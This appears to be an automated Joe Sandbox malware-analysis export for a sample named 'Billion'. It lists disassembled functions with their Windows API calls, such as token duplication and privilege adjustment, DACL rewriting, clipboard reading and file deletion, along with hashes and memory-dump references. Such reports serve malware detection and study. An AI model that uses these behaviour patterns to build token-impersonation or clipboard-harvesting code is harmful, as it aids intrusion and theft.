Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 5c7edad85fedc96dc17405c694b3f8ca8b3e31a6960b62d958f97a24a2444c6c
Instruction ID: 97f57b9e0be4db311a63f3fdf227c41e1551cb87f9ff9d800c955b245aceba3d
Opcode Fuzzy Hash: 5c7edad85fedc96dc17405c694b3f8ca8b3e31a6960b62d958f97a24a2444c6c
Instruction Fuzzy Hash: 9701F9736007056BE3318F69DC8195AFBEDFB85370F65061DE59483280EB70A905C774

Function 0015E972 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb1dcaca3f7520121673565f353bd58828d6484f0fca4c940b7c4def7923b9e8
Instruction ID: 31c1a439cddd47d98a8f0e12b7ba8f377c2423b5a10fd66589acfd294ac55607
Opcode Fuzzy Hash: eb1dcaca3f7520121673565f353bd58828d6484f0fca4c940b7c4def7923b9e8
Instruction Fuzzy Hash: 5BF02D32901A10D6D7353A6ADC0575A33D98F5233AF110716FC35DB1D1DF70D91A86D2

Function 0013B329 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0013B333

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 604ebb882747aa44eaa7c4f2dad2a36e43ae16ac027461114254cb873ac85486
Instruction ID: 107411009f4df2eb8b4b635992a2aa2c0f35938fe703d6585aa8baa03ec4dfa5
Opcode Fuzzy Hash: 604ebb882747aa44eaa7c4f2dad2a36e43ae16ac027461114254cb873ac85486
Instruction Fuzzy Hash: D9F0C8B3601B14BED7159F38D846B66BB98EB54360F10812AFA29CF1D1EB31E5148BA0

Function 001AF94A Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(?,?,00007FFF,00000000), ref: 001AF987

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: EnvironmentVariable
String ID:
API String ID: 1431749950-0
Opcode ID: 76aa49118bf3ecb488a7c3dfc75f101329c479af427c1880504642da48eb9048
Instruction ID: 1e9c99e343332a008b0ed44457dc08cd866d9d576b8c66c2b7e5ab3c9587820f
Opcode Fuzzy Hash: 76aa49118bf3ecb488a7c3dfc75f101329c479af427c1880504642da48eb9048
Instruction Fuzzy Hash: 8CF04F76600204BFCB01EBA5DC46D9FBBB8EF69720F004065F905AB261DB70EE45C761

Function 00164FF0 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000001,00000000,?,0016319C,00000001,00000364,?,?,?,0000000A,00000000), ref: 00165031

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7f3afe2e6f137b16872574b42e518c4e7ef26f72bb14d6183501d456b7e9c535
Instruction ID: 11f15fd33f63815cad1f1aa293b942199c5054454bc897d9334765a6d5a053ec
Opcode Fuzzy Hash: 7f3afe2e6f137b16872574b42e518c4e7ef26f72bb14d6183501d456b7e9c535
Instruction Fuzzy Hash: CAF0E236611E21E7DB352B66DC05F5B3B5BAF507E0F1A8022FC189B091DB30D82586E0

Function 00163B93 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00156A79,?,0000015D,?,?,?,?,001585B0,000000FF,00000000,?,?), ref: 00163BC5

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: dae79fd4dbeb276d774f0657ef8640e9278931b6b5c47114c3c065daec63be06
Instruction ID: b6182de166c79d500846ebd2b9b8470bfad0a036e1966360992f1227e3339b48
Opcode Fuzzy Hash: dae79fd4dbeb276d774f0657ef8640e9278931b6b5c47114c3c065daec63be06
Instruction Fuzzy Hash: B4E02232600A20E6DB303772AC09F5B3A4DEF013A1F1A0161FC359A491CF30CE6082E2

Function 001366E7 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 830de41a56f5c7e7817c50a97b9c95962751d31cec88810118cc14e2bf2f9579
Instruction ID: fea7f605fc6b7d55f64026b90766a8cdb206595923c0baec9822f6af84677383
Opcode Fuzzy Hash: 830de41a56f5c7e7817c50a97b9c95962751d31cec88810118cc14e2bf2f9579
Instruction Fuzzy Hash: 56F0A9B0400702DFCB388F60D8A0812BBF0BF1032A364C93EE1DA86610C7719884CF10

Function 00186AD5 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00186AE0

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 775506cd4b4872fce14421c678f3e3a13394615ea5ff6451998daa759b8d86af
Instruction ID: 3bd31c1392f993ae4e8269c1096a767177548ac8a50a404a6f02aa44506a4753
Opcode Fuzzy Hash: 775506cd4b4872fce14421c678f3e3a13394615ea5ff6451998daa759b8d86af
Instruction Fuzzy Hash: 84F02B71704601BAD734ABB4D8157B1F7E8BB10319F104A1ED4D9C3181C7B244D49B52

Function 0013684A Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00136868

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: dbc72fcbbe417d099125a5b7f0b477dbc50683e17be9c436dba593077d17b43b
Instruction ID: e00fecff38c3ab8b819b39a2ff64dfccf980f6f2eb9d5c9ad734c48b1fa1532a
Opcode Fuzzy Hash: dbc72fcbbe417d099125a5b7f0b477dbc50683e17be9c436dba593077d17b43b
Instruction Fuzzy Hash: 42F0F87550020DFFDF09DF90C941E9E7BB9FB18318F208485F9159A151C376EB21ABA1

Function 00133907 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000002,?), ref: 00133963

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 752a0917d8ffdf2cb6fc07e876a6feb0ddefb1e228ecb3ea8e501149ec89e6ab
Instruction ID: f2858f50469a1c2b6c7fa43360f615f9419dafa2768939b31226fe94dd5d9515
Opcode Fuzzy Hash: 752a0917d8ffdf2cb6fc07e876a6feb0ddefb1e228ecb3ea8e501149ec89e6ab
Instruction Fuzzy Hash: DEF03771914314DFE7529F24EC4D7957BBCA70170CF0040E6A64496182D774578CCF51

Function 00133A57 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00133A76

Part of subcall function 00138577: _wcslen.LIBCMT ref: 0013858A

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 9d0f504042a36341ddc769c048de98585652df8a8fb19b2b8f91bc3acd297011
Instruction ID: 2dd35f059acc50d520486fc4859bfa56736644af1c5cdfdf958101957f20210e
Opcode Fuzzy Hash: 9d0f504042a36341ddc769c048de98585652df8a8fb19b2b8f91bc3acd297011
Instruction Fuzzy Hash: BBE0C272A002245BCB20A358AC06FEA77EDDFC87A0F0440B1FC09D7258DA70EDC08690

Function 0017071A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00170A84,?,?,00000000,?,00170A84,00000000,0000000C), ref: 00170737

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a68ed3e8418b620d34a63d52d905c6cf3800747759e83b0d4aecc1ab9553ac28
Instruction ID: d16780a3dfde71a70292603cc450d70eb6c9dee40f84fbb1d76bac971a2a84b1
Opcode Fuzzy Hash: a68ed3e8418b620d34a63d52d905c6cf3800747759e83b0d4aecc1ab9553ac28
Instruction Fuzzy Hash: E0D06C3200010DBBDF029F85ED06EDA3FAAFB48714F014010BE1856020C732E861AB91

Function 0019EAB0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,0019D840), ref: 0019EAB1

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 221847e3f3ecc8b8c833bb02120cd3238dd74999e4ef9001aa4675602c421e42
Instruction ID: 63498c0e20d26f783b5e8227c436d74b76fd088c053fedd8e31749e80d6a3c1b
Opcode Fuzzy Hash: 221847e3f3ecc8b8c833bb02120cd3238dd74999e4ef9001aa4675602c421e42
Instruction Fuzzy Hash: 3EB0923480060005AD284A38AA0A999378179423A57DC1BC0E479864F2C339D86FA950

Function 001A664C Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 0019DC54: FindFirstFileW.KERNEL32(?,?), ref: 0019DCCB
Part of subcall function 0019DC54: DeleteFileW.KERNEL32(?,?,?,?), ref: 0019DD1B
Part of subcall function 0019DC54: FindNextFileW.KERNELBASE(00000000,00000010), ref: 0019DD2C
Part of subcall function 0019DC54: FindClose.KERNEL32(00000000), ref: 0019DD43

GetLastError.KERNEL32 ref: 001A666E

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: FileFind$CloseDeleteErrorFirstLastNext
String ID:
API String ID: 2191629493-0
Opcode ID: cfe1635a0f25239c35272af6c429aaa36143237ff66f7f307a07ad36c5e60330
Instruction ID: 0ee3c8952ca9debad699981137ff3fed6763a1b7726708fe463b005ee86aa583
Opcode Fuzzy Hash: cfe1635a0f25239c35272af6c429aaa36143237ff66f7f307a07ad36c5e60330
Instruction Fuzzy Hash: F3F08C762046009FDB10EF59D845BAEBBE5AFA8720F088419F9098B392CB74BC01CB90

Non-executed Functions

Function 00191B4D Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 00192010: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0019205A
Part of subcall function 00192010: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00192087
Part of subcall function 00192010: GetLastError.KERNEL32 ref: 00192097

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00191BD2
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 00191BF4
CloseHandle.KERNEL32(?), ref: 00191C05
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00191C1D
GetProcessWindowStation.USER32 ref: 00191C36
SetProcessWindowStation.USER32(00000000), ref: 00191C40
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00191C5C

Part of subcall function 00191A0B: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00191B48), ref: 00191A20
Part of subcall function 00191A0B: CloseHandle.KERNEL32(?,?,00191B48), ref: 00191A35

Strings

, xrefs: 00191BA6
default, xrefs: 00191C57
winsta0, xrefs: 00191C18

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0
API String ID: 22674027-1027155976
Opcode ID: 4a8d4115bad14160b4496899df2617f9e61d7491744580bd6af4c9731fa1ac2f
Instruction ID: ac2d2fea6ff95592085c0859420275dedbe904f0ddef37e56c0be3e5bee5ab1c
Opcode Fuzzy Hash: 4a8d4115bad14160b4496899df2617f9e61d7491744580bd6af4c9731fa1ac2f
Instruction Fuzzy Hash: BA81577190120ABBDF119FA4DC49FEE7FB9EF08304F184129F915A62A0D775CA95CB60

Function 001914AE Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00191A45: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00191A60
Part of subcall function 00191A45: GetLastError.KERNEL32(?,00000000,00000000,?,?,001914E7,?,?,?), ref: 00191A6C
Part of subcall function 00191A45: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,001914E7,?,?,?), ref: 00191A7B
Part of subcall function 00191A45: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,001914E7,?,?,?), ref: 00191A82
Part of subcall function 00191A45: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00191A99

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00191518
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 0019154C
GetLengthSid.ADVAPI32(?), ref: 00191563
GetAce.ADVAPI32(?,00000000,?), ref: 0019159D
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 001915B9
GetLengthSid.ADVAPI32(?), ref: 001915D0
GetProcessHeap.KERNEL32(00000008,00000008), ref: 001915D8
HeapAlloc.KERNEL32(00000000), ref: 001915DF
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00191600
CopySid.ADVAPI32(00000000), ref: 00191607
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00191636
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00191658
SetUserObjectSecurity.USER32(?,00000004,?), ref: 0019166A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00191691
HeapFree.KERNEL32(00000000), ref: 00191698
GetProcessHeap.KERNEL32(00000000,00000000), ref: 001916A1
HeapFree.KERNEL32(00000000), ref: 001916A8
GetProcessHeap.KERNEL32(00000000,00000000), ref: 001916B1
HeapFree.KERNEL32(00000000), ref: 001916B8
GetProcessHeap.KERNEL32(00000000,?), ref: 001916C4
HeapFree.KERNEL32(00000000), ref: 001916CB

Part of subcall function 00191ADF: GetProcessHeap.KERNEL32(00000008,001914FD,?,00000000,?,001914FD,?), ref: 00191AED
Part of subcall function 00191ADF: HeapAlloc.KERNEL32(00000000,?,00000000,?,001914FD,?), ref: 00191AF4
Part of subcall function 00191ADF: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,001914FD,?), ref: 00191B03

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: c58ec4a6050fdb381eeaca3cb031a3d9509e9cd08241c39e45fee4e582f2975f
Instruction ID: 2b4959deb9a062c142a6d9a37771d89d738da55427ae9820e87eda1f144dcef3
Opcode Fuzzy Hash: c58ec4a6050fdb381eeaca3cb031a3d9509e9cd08241c39e45fee4e582f2975f
Instruction Fuzzy Hash: 7C713BB2D0020ABBDF109FA5EC44FAEBBB8BF04350F1A4525F915A7190D771D985CBA0

Function 001AF55C Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(001CDCD0), ref: 001AF586
IsClipboardFormatAvailable.USER32(0000000D), ref: 001AF594
GetClipboardData.USER32(0000000D), ref: 001AF5A0
CloseClipboard.USER32 ref: 001AF5AC
GlobalLock.KERNEL32(00000000), ref: 001AF5E4
CloseClipboard.USER32 ref: 001AF5EE
GlobalUnlock.KERNEL32(00000000), ref: 001AF619
IsClipboardFormatAvailable.USER32(00000001), ref: 001AF626
GetClipboardData.USER32(00000001), ref: 001AF62E
GlobalLock.KERNEL32(00000000), ref: 001AF63F
GlobalUnlock.KERNEL32(00000000), ref: 001AF67F
IsClipboardFormatAvailable.USER32(0000000F), ref: 001AF695
GetClipboardData.USER32(0000000F), ref: 001AF6A1
GlobalLock.KERNEL32(00000000), ref: 001AF6B2
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 001AF6D4
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 001AF6F1
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 001AF72F
GlobalUnlock.KERNEL32(00000000), ref: 001AF750
CountClipboardFormats.USER32 ref: 001AF771
CloseClipboard.USER32 ref: 001AF7B6

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: 0bc4bcfca8202b1be861ad923febfa2a37d7bbc75659fa179d763bd5dce9b476
Instruction ID: 145a4a9cc5f07fa539b763a78ebaa821a84f1a3e51f0ac31416647e22c0162e3
Opcode Fuzzy Hash: 0bc4bcfca8202b1be861ad923febfa2a37d7bbc75659fa179d763bd5dce9b476
Instruction Fuzzy Hash: C661C339204301AFD300EFA0E889F6ABBA4EF95704F14456DF546C76A2DB31DD86CB62

Function 001A73D4 Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 001A7403
FindClose.KERNEL32(00000000), ref: 001A7457
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 001A7493
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 001A74BA

Part of subcall function 0013B329: _wcslen.LIBCMT ref: 0013B333

FileTimeToSystemTime.KERNEL32(?,?), ref: 001A74F7
FileTimeToSystemTime.KERNEL32(?,?), ref: 001A7524

Strings

%4d, xrefs: 001A75F6
%02d, xrefs: 001A7645, 001A764F, 001A769F, 001A76EF, 001A773F, 001A778F
%4d%02d%02d%02d%02d%02d%03d, xrefs: 001A7577
%4d%02d%02d%02d%02d%02d, xrefs: 001A75AF
%03d, xrefs: 001A77E7

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
